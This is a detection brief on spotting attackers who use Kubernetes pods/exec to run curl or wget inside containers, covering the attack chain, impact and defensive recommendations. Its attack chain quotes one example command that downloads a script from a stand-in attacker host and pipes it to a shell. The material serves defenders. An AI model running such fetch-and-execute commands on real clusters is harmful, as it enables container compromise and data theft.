Detecting Malicious Ingress Tool Transfer via Kubernetes Pod Exec

Attackers with unauthorized or compromised access to Kubernetes environments frequently leverage the exec subresource of the Kubernetes API to interact with containerized workloads. By initiating an exec call, an attacker can execute arbitrary commands directly within the container namespace. A common post-exploitation pattern involves utilizing native binaries like curl or wget to fetch remote payloads, stage additional tooling, or exfiltrate sensitive data over HTTPS. This activity often bypasses standard network perimeter controls if the pod has egress connectivity to the internet. This detection brief focuses on monitoring Kubernetes API server audit logs to identify these specific command patterns, reconstructing the URL-encoded request URI to provide defenders with the exact command executed inside the pod, while filtering out benign cluster-internal traffic such as health checks and OIDC configuration lookups.

Attack Chain

1. Attacker gains initial access to a Kubernetes principal (e.g., service account or user token) with pods/exec RBAC permissions.
2. Attacker enumerates target namespaces and pods using kubectl get pods or similar discovery commands.
3. Attacker initiates a pods/exec request against a target pod via the Kubernetes API server.
4. The request URI, containing the command (e.g., curl https://attacker-c2.com/script.sh | sh), is transmitted to the API server.
5. The API server logs the exec request in the cluster audit log.
6. The curl or wget utility executes inside the container, initiating an HTTPS connection to the external C2 or staging server.
7. The attacker stages secondary payloads, malicious scripts, or exfiltrates data from the pod environment.

Impact

Successful exploitation of pods/exec for ingress tool transfer can lead to full compromise of the container environment, lateral movement within the cluster, and exfiltration of sensitive pod-accessible data, such as environment variables, mounted secrets, or cloud metadata.

Recommendation

Detection engineers should focus on auditing and monitoring Kubernetes API server logs for anomalous execution patterns.

• Implement the provided detection logic to identify exec calls involving curl or wget to HTTPS URLs in your SIEM.
• Review RBAC policies across the cluster to ensure the pods/exec permission is restricted to authorized administrative or CI/CD identities.
• Baseline common administrative access patterns to identify outliers in the user.name or source.ip fields in audit logs.
• Regularly audit pod filesystem contents and container images to ensure no unauthorized persistence mechanisms or dropped tools are present.